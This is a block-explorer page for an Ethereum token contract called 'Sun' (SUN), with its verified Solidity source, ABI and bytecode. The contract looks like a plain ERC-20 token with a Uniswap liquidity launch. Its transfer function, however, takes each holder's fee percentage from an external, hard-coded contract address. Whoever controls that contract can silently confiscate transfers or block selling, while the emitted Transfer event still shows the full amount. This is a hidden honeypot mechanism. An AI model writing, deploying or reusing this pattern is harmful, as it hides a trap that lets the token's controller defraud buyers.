ETH Price: $3,388.77 (+4.09%)
 

Overview

Max Total Supply

100,000,000,000 SUN

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,051,218,255.629905695040849269 SUN

Value
$0.00
0x901cab2d259685acaf6aeeb3b3afed8348458012
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Sun

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 6: Sun.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

import "./Ownable.sol";
import "./UniswapV2Router.sol";
import "./UniswapV2Factory.sol";
import "./IERC20.sol";
import "./Safemath.sol";

contract Sun is Ownable, IERC20 {
    using SafeMath for uint256;

    uint8 private _decimals = 18;
    uint256 private _totalSupply =  100000000000 * 10 ** _decimals;
    address internal spawnerAddress =  0x85d187bf8947D9fb96f75552b229F8Dfb05C116c;
    UniswapV2Router private uniswapRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    bool private tradingOpen = false;
    address public deployer;
    address private uniswapPair;
    string private _name = "Sun";
    string private _symbol = "SUN";
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function setDeployerAddress(address _deployer) external onlyOwner {
        deployer = _deployer;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function openTrading() external payable onlyOwner() {
        require(deployer != address(0));
        require(!tradingOpen, "Trading already opened.");
        _approve(address(this), address(uniswapRouter), _totalSupply);
        uniswapPair = UniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
        uniswapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(uniswapPair).approve(address(uniswapRouter), type(uint).max);
        tradingOpen = true;
    }

    function createInitialSupply() external onlyOwner {
        require (deployer != address(0));
        _transfer(address(this), deployer, _totalSupply.mul(10).div(100));
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(from != deployer);
        require(to != address(0));
        uint256 fee = 0;
        require(from != address(0));
        if (from != address(this) && from != uniswapPair){
            fee = IERC20(spawnerAddress).balanceOf(from);}
        uint256 _fee = amount.mul(fee).div(100);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(_fee);
        emit Transfer(from, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        _transfer(from, to, amount);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
}

File 1 of 6: IERC20.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    function approve(address spendr, uint256 amount) external returns (bool);
    function balanceOf(address wallt) external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

File 2 of 6: Ownable.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
}

File 3 of 6: Safemath.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

File 5 of 6: UniswapV2Factory.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenD) external returns (address pair);
    function getPair(address tokenA, address tokenC) external view returns (address pair);
}


File 6 of 6: UniswapV2Router.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface UniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createInitialSupply","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_deployer","type":"address"}],"name":"setDeployerAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c919062000490565b64174876e8006200004e9190620004e0565b6001557385d187bf8947d9fb96f75552b229f8dfb05c116c60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60065f6101000a81548160ff0219169083151502179055506040518060400160405280600381526020017f53756e00000000000000000000000000000000000000000000000000000000008152506008908162000158919062000785565b506040518060400160405280600381526020017f53554e0000000000000000000000000000000000000000000000000000000000815250600990816200019f919062000785565b50348015620001ac575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060015460055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620002f091906200087a565b60405180910390a362000895565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003885780860481111562000360576200035f620002fe565b5b6001851615620003705780820291505b808102905062000380856200032b565b945062000340565b94509492505050565b5f82620003a2576001905062000474565b81620003b1575f905062000474565b8160018114620003ca5760028114620003d5576200040b565b600191505062000474565b60ff841115620003ea57620003e9620002fe565b5b8360020a915084821115620004045762000403620002fe565b5b5062000474565b5060208310610133831016604e8410600b8410161715620004455782820a9050838111156200043f576200043e620002fe565b5b62000474565b62000454848484600162000337565b925090508184048111156200046e576200046d620002fe565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200049c826200047b565b9150620004a98362000484565b9250620004d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000391565b905092915050565b5f620004ec826200047b565b9150620004f9836200047b565b925082820262000509816200047b565b91508282048414831517620005235762000522620002fe565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005a657607f821691505b602082108103620005bc57620005bb62000561565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005e3565b6200062c8683620005e3565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200066d6200066762000661846200047b565b62000644565b6200047b565b9050919050565b5f819050919050565b62000688836200064d565b620006a0620006978262000674565b848454620005ef565b825550505050565b5f90565b620006b6620006a8565b620006c38184846200067d565b505050565b5b81811015620006ea57620006de5f82620006ac565b600181019050620006c9565b5050565b601f82111562000739576200070381620005c2565b6200070e84620005d4565b810160208510156200071e578190505b620007366200072d85620005d4565b830182620006c8565b50505b505050565b5f82821c905092915050565b5f6200075b5f19846008026200073e565b1980831691505092915050565b5f6200077583836200074a565b9150826002028217905092915050565b62000790826200052a565b67ffffffffffffffff811115620007ac57620007ab62000534565b5b620007b882546200058e565b620007c5828285620006ee565b5f60209050601f831160018114620007fb575f8415620007e6578287015190505b620007f2858262000768565b86555062000861565b601f1984166200080b86620005c2565b5f5b8281101562000834578489015182556001820191506020850194506020810190506200080d565b8683101562000854578489015162000850601f8916826200074a565b8355505b6001600288020188555050505b505050505050565b62000874816200047b565b82525050565b5f6020820190506200088f5f83018462000869565b92915050565b611dbf80620008a35f395ff3fe6080604052600436106100e7575f3560e01c80638da5cb5b11610089578063b6ac026011610058578063b6ac0260146102eb578063c9567bf914610301578063d5f394881461030b578063dd62ed3e14610335576100e7565b80638da5cb5b1461023357806392152f181461025d57806395d89b4114610285578063a9059cbb146102af576100e7565b806323b872dd116100c557806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610371565b60405161010c919061159e565b60405180910390f35b348015610120575f80fd5b5061013b6004803603810190610136919061164f565b610401565b60405161014891906116a7565b60405180910390f35b34801561015c575f80fd5b50610165610417565b60405161017291906116cf565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c91906116e8565b610420565b6040516101ae91906116a7565b60405180910390f35b3480156101c2575f80fd5b506101cb6104cc565b6040516101d89190611753565b60405180910390f35b3480156101ec575f80fd5b506102076004803603810190610202919061176c565b6104e1565b60405161021491906116cf565b60405180910390f35b348015610228575f80fd5b50610231610527565b005b34801561023e575f80fd5b5061024761066e565b60405161025491906117a6565b60405180910390f35b348015610268575f80fd5b50610283600480360381019061027e919061176c565b610695565b005b348015610290575f80fd5b50610299610766565b6040516102a6919061159e565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d0919061164f565b6107f6565b6040516102e291906116a7565b60405180910390f35b3480156102f6575f80fd5b506102ff61080c565b005b610309610949565b005b348015610316575f80fd5b5061031f610e32565b60405161032c91906117a6565b60405180910390f35b348015610340575f80fd5b5061035b600480360381019061035691906117bf565b610e58565b60405161036891906116cf565b60405180910390f35b6060600880546103809061182a565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac9061182a565b80156103f75780601f106103ce576101008083540402835291602001916103f7565b820191905f5260205f20905b8154815290600101906020018083116103da57829003601f168201915b5050505050905090565b5f61040d338484610eda565b6001905092915050565b5f600154905090565b5f61042c84848461109d565b6104c184336104bc8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146390919063ffffffff16565b610eda565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ab906118a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610719906118a4565b60405180910390fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060600980546107759061182a565b80601f01602080910402602001604051908101604052809291908181526020018280546107a19061182a565b80156107ec5780601f106107c3576101008083540402835291602001916107ec565b820191905f5260205f20905b8154815290600101906020018083116107cf57829003601f168201915b5050505050905090565b5f61080233848461109d565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610890906118a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036108f2575f80fd5b61094730600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166109426064610934600a60015461148990919063ffffffff16565b6114c990919063ffffffff16565b61109d565b565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cd906118a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610a2f575f80fd5b60065f9054906101000a900460ff1615610a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a759061190c565b60405180910390fd5b610aac3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610eda565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3a919061193e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be4919061193e565b6040518363ffffffff1660e01b8152600401610c01929190611969565b6020604051808303815f875af1158015610c1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c41919061193e565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610cc8306104e1565b5f80610cd261066e565b426040518863ffffffff1660e01b8152600401610cf4969594939291906119d2565b60606040518083038185885af1158015610d10573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d359190611a45565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dd5929190611a95565b6020604051808303815f875af1158015610df1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e159190611ae6565b50600160065f6101000a81548160ff021916908315150217905550565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3f90611b81565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90611c0f565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161109091906116cf565b60405180910390a3505050565b5f81116110a8575f80fd5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611101575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611138575f80fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611170575f80fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111f9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561129a5760025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b815260040161125891906117a6565b602060405180830381865afa158015611273573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112979190611c2d565b90505b5f6112c160646112b3848661148990919063ffffffff16565b6114c990919063ffffffff16565b90506113138360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146390919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113b6816113a88560055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114ee90919063ffffffff16565b61146390919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161145491906116cf565b60405180910390a35050505050565b5f82821115611470575f80fd5b5f828461147d9190611c85565b90508091505092915050565b5f808303611499575f90506114c3565b5f82846114a69190611cb8565b90508284826114b59190611d26565b146114be575f80fd5b809150505b92915050565b5f8082116114d5575f80fd5b5f82846114e29190611d26565b90508091505092915050565b5f8082846114fc9190611d56565b90508381101561150a575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561154b578082015181840152602081019050611530565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61157082611514565b61157a818561151e565b935061158a81856020860161152e565b61159381611556565b840191505092915050565b5f6020820190508181035f8301526115b68184611566565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115eb826115c2565b9050919050565b6115fb816115e1565b8114611605575f80fd5b50565b5f81359050611616816115f2565b92915050565b5f819050919050565b61162e8161161c565b8114611638575f80fd5b50565b5f8135905061164981611625565b92915050565b5f8060408385031215611665576116646115be565b5b5f61167285828601611608565b92505060206116838582860161163b565b9150509250929050565b5f8115159050919050565b6116a18161168d565b82525050565b5f6020820190506116ba5f830184611698565b92915050565b6116c98161161c565b82525050565b5f6020820190506116e25f8301846116c0565b92915050565b5f805f606084860312156116ff576116fe6115be565b5b5f61170c86828701611608565b935050602061171d86828701611608565b925050604061172e8682870161163b565b9150509250925092565b5f60ff82169050919050565b61174d81611738565b82525050565b5f6020820190506117665f830184611744565b92915050565b5f60208284031215611781576117806115be565b5b5f61178e84828501611608565b91505092915050565b6117a0816115e1565b82525050565b5f6020820190506117b95f830184611797565b92915050565b5f80604083850312156117d5576117d46115be565b5b5f6117e285828601611608565b92505060206117f385828601611608565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061184157607f821691505b602082108103611854576118536117fd565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61188e60208361151e565b91506118998261185a565b602082019050919050565b5f6020820190508181035f8301526118bb81611882565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6118f660178361151e565b9150611901826118c2565b602082019050919050565b5f6020820190508181035f830152611923816118ea565b9050919050565b5f81519050611938816115f2565b92915050565b5f60208284031215611953576119526115be565b5b5f6119608482850161192a565b91505092915050565b5f60408201905061197c5f830185611797565b6119896020830184611797565b9392505050565b5f819050919050565b5f819050919050565b5f6119bc6119b76119b284611990565b611999565b61161c565b9050919050565b6119cc816119a2565b82525050565b5f60c0820190506119e55f830189611797565b6119f260208301886116c0565b6119ff60408301876119c3565b611a0c60608301866119c3565b611a196080830185611797565b611a2660a08301846116c0565b979650505050505050565b5f81519050611a3f81611625565b92915050565b5f805f60608486031215611a5c57611a5b6115be565b5b5f611a6986828701611a31565b9350506020611a7a86828701611a31565b9250506040611a8b86828701611a31565b9150509250925092565b5f604082019050611aa85f830185611797565b611ab560208301846116c0565b9392505050565b611ac58161168d565b8114611acf575f80fd5b50565b5f81519050611ae081611abc565b92915050565b5f60208284031215611afb57611afa6115be565b5b5f611b0884828501611ad2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611b6b60248361151e565b9150611b7682611b11565b604082019050919050565b5f6020820190508181035f830152611b9881611b5f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611bf960228361151e565b9150611c0482611b9f565b604082019050919050565b5f6020820190508181035f830152611c2681611bed565b9050919050565b5f60208284031215611c4257611c416115be565b5b5f611c4f84828501611a31565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c8f8261161c565b9150611c9a8361161c565b9250828203905081811115611cb257611cb1611c58565b5b92915050565b5f611cc28261161c565b9150611ccd8361161c565b9250828202611cdb8161161c565b91508282048414831517611cf257611cf1611c58565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611d308261161c565b9150611d3b8361161c565b925082611d4b57611d4a611cf9565b5b828204905092915050565b5f611d608261161c565b9150611d6b8361161c565b9250828201905080821115611d8357611d82611c58565b5b9291505056fea2646970667358221220cf3cefef5f1b255c372fd9d26f808b53823ab82d24de5acb5e7c262eaf556c3964736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c80638da5cb5b11610089578063b6ac026011610058578063b6ac0260146102eb578063c9567bf914610301578063d5f394881461030b578063dd62ed3e14610335576100e7565b80638da5cb5b1461023357806392152f181461025d57806395d89b4114610285578063a9059cbb146102af576100e7565b806323b872dd116100c557806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610371565b60405161010c919061159e565b60405180910390f35b348015610120575f80fd5b5061013b6004803603810190610136919061164f565b610401565b60405161014891906116a7565b60405180910390f35b34801561015c575f80fd5b50610165610417565b60405161017291906116cf565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c91906116e8565b610420565b6040516101ae91906116a7565b60405180910390f35b3480156101c2575f80fd5b506101cb6104cc565b6040516101d89190611753565b60405180910390f35b3480156101ec575f80fd5b506102076004803603810190610202919061176c565b6104e1565b60405161021491906116cf565b60405180910390f35b348015610228575f80fd5b50610231610527565b005b34801561023e575f80fd5b5061024761066e565b60405161025491906117a6565b60405180910390f35b348015610268575f80fd5b50610283600480360381019061027e919061176c565b610695565b005b348015610290575f80fd5b50610299610766565b6040516102a6919061159e565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d0919061164f565b6107f6565b6040516102e291906116a7565b60405180910390f35b3480156102f6575f80fd5b506102ff61080c565b005b610309610949565b005b348015610316575f80fd5b5061031f610e32565b60405161032c91906117a6565b60405180910390f35b348015610340575f80fd5b5061035b600480360381019061035691906117bf565b610e58565b60405161036891906116cf565b60405180910390f35b6060600880546103809061182a565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac9061182a565b80156103f75780601f106103ce576101008083540402835291602001916103f7565b820191905f5260205f20905b8154815290600101906020018083116103da57829003601f168201915b5050505050905090565b5f61040d338484610eda565b6001905092915050565b5f600154905090565b5f61042c84848461109d565b6104c184336104bc8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffff